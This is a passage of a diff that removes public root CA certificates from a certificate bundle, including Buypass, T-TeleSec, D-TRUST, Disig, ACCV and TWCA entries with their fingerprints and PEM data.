-DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWDLfJ6v9r9jv6ly0Us
-H8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0oyLQ
-I+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK7
-5t98biGCwWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h
-3PFaTWwyI0PurKju7koSCTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPz
-Y11aWOIv4x3kqdbQCtCev9eBCfHJxyYNrJgWVqA=
------END CERTIFICATE-----
-
-# Issuer: CN=Buypass Class 3 Root CA O=Buypass AS-983163327
-# Subject: CN=Buypass Class 3 Root CA O=Buypass AS-983163327
-# Label: "Buypass Class 3 Root CA"
-# Serial: 2
-# MD5 Fingerprint: 3d:3b:18:9e:2c:64:5a:e8:d5:88:ce:0e:f9:37:c2:ec
-# SHA1 Fingerprint: da:fa:f7:fa:66:84:ec:06:8f:14:50:bd:c7:c2:81:a5:bc:a9:64:57
-# SHA256 Fingerprint: ed:f7:eb:bc:a2:7a:2a:38:4d:38:7b:7d:40:10:c6:66:e2:ed:b4:84:3e:4c:29:b4:ae:1d:5b:93:32:e6:b2:4d
------BEGIN CERTIFICATE-----
-MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
-MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
-Q2xhc3MgMyBSb290IENBMB4XDTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFow
-TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
-HgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
-BQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRHsJ8Y
-ZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3E
-N3coTRiR5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9
-tznDDgFHmV0ST9tD+leh7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX
-0DJq1l1sDPGzbjniazEuOQAnFN44wOwZZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c
-/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH2xc519woe2v1n/MuwU8X
-KhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV/afmiSTY
-zIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvS
-O1UQRwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D
-34xFMFbG02SrZvPAXpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgP
-K9Dx2hzLabjKSWJtyNBjYt1gD1iqj6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3
-AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFEe4zf/lb+74suwv
-Tg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAACAj
-QTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
-cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXS
-IGrs/CIBKM+GuIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2
-HJLw5QY33KbmkJs4j1xrG0aGQ0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsa
-O5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8ZORK15FTAaggiG6cX0S5y2CBNOxv
-033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2KSb12tjE8nVhz36u
-dmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz6MkE
-kbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg41
-3OEMXbugUZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvD
-u79leNKGef9JOxqDDPDeeOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq
-4/g7u9xN12TyUb7mqqta6THuBrxzvxNiCp/HuZc=
------END CERTIFICATE-----
-
-# Issuer: CN=T-TeleSec GlobalRoot Class 3 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center
-# Subject: CN=T-TeleSec GlobalRoot Class 3 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center
-# Label: "T-TeleSec GlobalRoot Class 3"
-# Serial: 1
-# MD5 Fingerprint: ca:fb:40:a8:4e:39:92:8a:1d:fe:8e:2f:c4:27:ea:ef
-# SHA1 Fingerprint: 55:a6:72:3e:cb:f2:ec:cd:c3:23:74:70:19:9d:2a:be:11:e3:81:d1
-# SHA256 Fingerprint: fd:73:da:d3:1c:64:4f:f1:b4:3b:ef:0c:cd:da:96:71:0b:9c:d9:87:5e:ca:7e:31:70:7a:f3:e9:6d:52:2b:bd
------BEGIN CERTIFICATE-----
-MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
-KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
-BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
-YyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgxMDAxMTAyOTU2WhcNMzMxMDAxMjM1
-OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
-aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
-ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0G
-CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN
-8ELg63iIVl6bmlQdTQyK9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/
-RLyTPWGrTs0NvvAgJ1gORH8EGoel15YUNpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4
-hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZFiP0Zf3WHHx+xGwpzJFu5
-ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W0eDrXltM
-EnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGj
-QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1
-A/d2O2GCahKqGFPrAyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOy
-WL6ukK2YJ5f+AbGwUgC4TeQbIXQbfsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ
-1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzTucpH9sry9uetuUg/vBa3wW30
-6gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7hP0HHRwA11fXT
-91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
-e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4p
-TpPDpFQUWw==
------END CERTIFICATE-----
-
-# Issuer: CN=D-TRUST Root Class 3 CA 2 2009 O=D-Trust GmbH
-# Subject: CN=D-TRUST Root Class 3 CA 2 2009 O=D-Trust GmbH
-# Label: "D-TRUST Root Class 3 CA 2 2009"
-# Serial: 623603
-# MD5 Fingerprint: cd:e0:25:69:8d:47:ac:9c:89:35:90:f7:fd:51:3d:2f
-# SHA1 Fingerprint: 58:e8:ab:b0:36:15:33:fb:80:f7:9b:1b:6d:29:d3:ff:8d:5f:00:f0
-# SHA256 Fingerprint: 49:e7:a4:42:ac:f0:ea:62:87:05:00:54:b5:25:64:b6:50:e4:f4:9e:42:e3:48:d6:aa:38:e0:39:e9:57:b1:c1
------BEGIN CERTIFICATE-----
-MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRF
-MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBD
-bGFzcyAzIENBIDIgMjAwOTAeFw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NTha
-ME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMM
-HkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIwDQYJKoZIhvcNAQEB
-BQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOADER03
-UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42
-tSHKXzlABF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9R
-ySPocq60vFYJfxLLHLGvKZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsM
-lFqVlNpQmvH/pStmMaTJOKDfHR+4CS7zp+hnUquVH+BGPtikw8paxTGA6Eian5Rp
-/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUCAwEAAaOCARowggEWMA8G
-A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ4PGEMA4G
-A1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVj
-dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUy
-MENBJTIwMiUyMDIwMDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRl
-cmV2b2NhdGlvbmxpc3QwQ6BBoD+GPWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3Js
-L2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAwOS5jcmwwDQYJKoZIhvcNAQEL
-BQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm2H6NMLVwMeni
-acfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
-o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4K
-zCUqNQT4YJEVdT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8
-PIWmawomDeCTmGCufsYkl4phX5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3Y
-Johw1+qRzT65ysCQblrGXnRl11z+o+I=
------END CERTIFICATE-----
-
-# Issuer: CN=D-TRUST Root Class 3 CA 2 EV 2009 O=D-Trust GmbH
-# Subject: CN=D-TRUST Root Class 3 CA 2 EV 2009 O=D-Trust GmbH
-# Label: "D-TRUST Root Class 3 CA 2 EV 2009"
-# Serial: 623604
-# MD5 Fingerprint: aa:c6:43:2c:5e:2d:cd:c4:34:c0:50:4f:11:02:4f:b6
-# SHA1 Fingerprint: 96:c9:1b:0b:95:b4:10:98:42:fa:d0:d8:22:79:fe:60:fa:b9:16:83
-# SHA256 Fingerprint: ee:c5:49:6b:98:8c:e9:86:25:b9:34:09:2e:ec:29:08:be:d0:b0:f3:16:c2:d4:73:0c:84:ea:f1:f3:d3:48:81
------BEGIN CERTIFICATE-----
-MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRF
-MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBD
-bGFzcyAzIENBIDIgRVYgMjAwOTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUw
-NDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNV
-BAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAwOTCCASIwDQYJKoZI
-hvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfSegpn
-ljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM0
-3TP1YtHhzRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6Z
-qQTMFexgaDbtCHu39b+T7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lR
-p75mpoo6Kr3HGrHhFPC+Oh25z1uxav60sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8
-HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure3511H3a6UCAwEAAaOCASQw
-ggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyvcop9Ntea
-HNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFw
-Oi8vZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xh
-c3MlMjAzJTIwQ0ElMjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1E
-RT9jZXJ0aWZpY2F0ZXJldm9jYXRpb25saXN0MEagRKBChkBodHRwOi8vd3d3LmQt
-dHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xhc3NfM19jYV8yX2V2XzIwMDku
-Y3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+PPoeUSbrh/Yp
-3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
-nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNF
-CSuGdXzfX2lXANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7na
-xpeG0ILD5EJt/rDiZE4OJudANCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqX
-KVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVvw9y4AyHqnxbxLFS1
------END CERTIFICATE-----
-
-# Issuer: CN=CA Disig Root R2 O=Disig a.s.
-# Subject: CN=CA Disig Root R2 O=Disig a.s.
-# Label: "CA Disig Root R2"
-# Serial: 10572350602393338211
-# MD5 Fingerprint: 26:01:fb:d8:27:a7:17:9a:45:54:38:1a:43:01:3b:03
-# SHA1 Fingerprint: b5:61:eb:ea:a4:de:e4:25:4b:69:1a:98:a5:57:47:c2:34:c7:d9:71
-# SHA256 Fingerprint: e2:3d:4a:03:6d:7b:70:e9:f5:95:b1:42:20:79:d2:b9:1e:df:bb:1f:b6:51:a0:63:3e:aa:8a:9d:c5:f8:07:03
------BEGIN CERTIFICATE-----
-MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNV
-BAYTAlNLMRMwEQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMu
-MRkwFwYDVQQDExBDQSBEaXNpZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQy
-MDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sxEzARBgNVBAcTCkJyYXRpc2xhdmEx
-EzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERpc2lnIFJvb3QgUjIw
-ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbCw3Oe
-NcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNH
-PWSb6WiaxswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3I
-x2ymrdMxp7zo5eFm1tL7A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbe
-QTg06ov80egEFGEtQX6sx3dOy1FU+16SGBsEWmjGycT6txOgmLcRK7fWV8x8nhfR
-yyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqVg8NTEQxzHQuyRpDRQjrO
-QG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa5Beny912
-H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJ
-QfYEkoopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUD
-i/ZnWejBBhG93c+AAk9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORs
-nLMOPReisjQS1n6yqEm70XooQL6iFh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1
-rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
-DwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5uQu0wDQYJKoZI
-hvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
-tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqf
-GopTpti72TVVsRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkb
-lvdhuDvEK7Z4bLQjb/D907JedR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka
-+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W81k/BfDxujRNt+3vrMNDcTa/F1bal
-TFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjxmHHEt38OFdAlab0i
-nSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01utI3
-gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18Dr
-G5gPcFw0sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3Os
-zMOl6W8KjptlwlCFtaOgUxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8x
-L4ysEr3vQCj8KWefshNPZiTEUxnpHikV7+ZtsH8tZ/3zbBt1RqPlShfppNcL
------END CERTIFICATE-----
-
-# Issuer: CN=ACCVRAIZ1 O=ACCV OU=PKIACCV
-# Subject: CN=ACCVRAIZ1 O=ACCV OU=PKIACCV
-# Label: "ACCVRAIZ1"
-# Serial: 6828503384748696800
-# MD5 Fingerprint: d0:a0:5a:ee:05:b6:09:94:21:a1:7d:f1:b2:29:82:02
-# SHA1 Fingerprint: 93:05:7a:88:15:c6:4f:ce:88:2f:fa:91:16:52:28:78:bc:53:64:17
-# SHA256 Fingerprint: 9a:6e:c0:12:e1:a7:da:9d:be:34:19:4d:47:8a:d7:c0:db:18:22:fb:07:1d:f1:29:81:49:6e:d1:04:38:41:13
------BEGIN CERTIFICATE-----
-MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UE
-AwwJQUNDVlJBSVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQsw
-CQYDVQQGEwJFUzAeFw0xMTA1MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQ
-BgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwHUEtJQUNDVjENMAsGA1UECgwEQUND
-VjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCb
-qau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gMjmoY
-HtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWo
-G2ioPej0RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpA
-lHPrzg5XPAOBOp0KoVdDaaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhr
-IA8wKFSVf+DuzgpmndFALW4ir50awQUZ0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/
-0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDGWuzndN9wrqODJerWx5eH
-k6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs78yM2x/47
-4KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMO
-m3WR5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpa
-cXpkatcnYGMN285J9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPl
-uUsXQA+xtrn13k/c4LOsOxFwYIRKQ26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYI
-KwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRwOi8vd3d3LmFjY3YuZXMvZmls
-ZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEuY3J0MB8GCCsG
-AQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
-VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeT
-VfZW6oHlNsyMHj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIG
-CCsGAQUFBwICMIIBFB6CARAAQQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUA
-cgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBhAO0AegAgAGQAZQAgAGwAYQAgAEEA
-QwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUAYwBuAG8AbABvAGcA
-7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBjAHQA
-cgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAA
-QwBQAFMAIABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUA
-czAwBggrBgEFBQcCARYkaHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2Mu
-aHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRt
-aW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2MV9kZXIuY3JsMA4GA1Ud
-DwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZIhvcNAQEF
-BQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdp
-D70ER9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gU
-JyCpZET/LtZ1qmxNYEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+m
-AM/EKXMRNt6GGT6d7hmKG9Ww7Y49nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepD
-vV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJTS+xJlsndQAJxGJ3KQhfnlms
-tn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3sCPdK6jT2iWH
-7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
-I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szA
-h1xA2syVP1XgNce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xF
-d3+YJ5oyXSrjhO7FmGYvliAd3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2H
-pPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3pEfbRD0tVNEYqi4Y7
------END CERTIFICATE-----
-
-# Issuer: CN=TWCA Global Root CA O=TAIWAN-CA OU=Root CA
-# Subject: CN=TWCA Global Root CA O=TAIWAN-CA OU=Root CA
-# Label: "TWCA Global Root CA"
-# Serial: 3262
-# MD5 Fingerprint: f9:03:7e:cf:e6:9e:3c:73:7a:2a:90:07:69:ff:2b:96
-# SHA1 Fingerprint: 9c:bb:48:53:f6:a4:f6:d3:52:a4:e8:32:52:55:60:13:f5:ad:af:65
-# SHA256 Fingerprint: 59:76:90:07:f7:68:5d:0f:cd:50:87:2f:9f:95:d5:75:5a:5b:2b:45:7d:81:f3:69:2b:61:0a:98:67:2f:0e:1b
------BEGIN CERTIFICATE-----
-MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcx
-EjAQBgNVBAoTCVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMT
-VFdDQSBHbG9iYWwgUm9vdCBDQTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5
-NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQKEwlUQUlXQU4tQ0ExEDAOBgNVBAsT
-B1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3QgQ0EwggIiMA0GCSqG
-SIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2CnJfF
-10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz
-0ALfUPZVr2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfCh
-MBwqoJimFb3u/Rk28OKRQ4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbH
-zIh1HrtsBv+baz4X7GGqcXzGHaL3SekVtTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc
-46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1WKKD+u4ZqyPpcC1jcxkt2
-yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99sy2sbZCi
-laLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYP
-oA/pyJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQA
-BDzfuBSO6N+pjWxnkjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcE
-qYSjMq+u7msXi7Kx/mzhkIyIqJdIzshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm
-4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
-/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6gcFGn90xHNcgL
-1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
-LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WF
-H6vPNOw/KP4M8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNo
-RI2T9GRwoD2dKAXDOXC4Ynsg/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+
-nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlglPx4mI88k1HtQJAH32RjJMtOcQWh
-15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryPA9gK8kxkRr05YuWW
-6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3mi4TW
-nsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5j
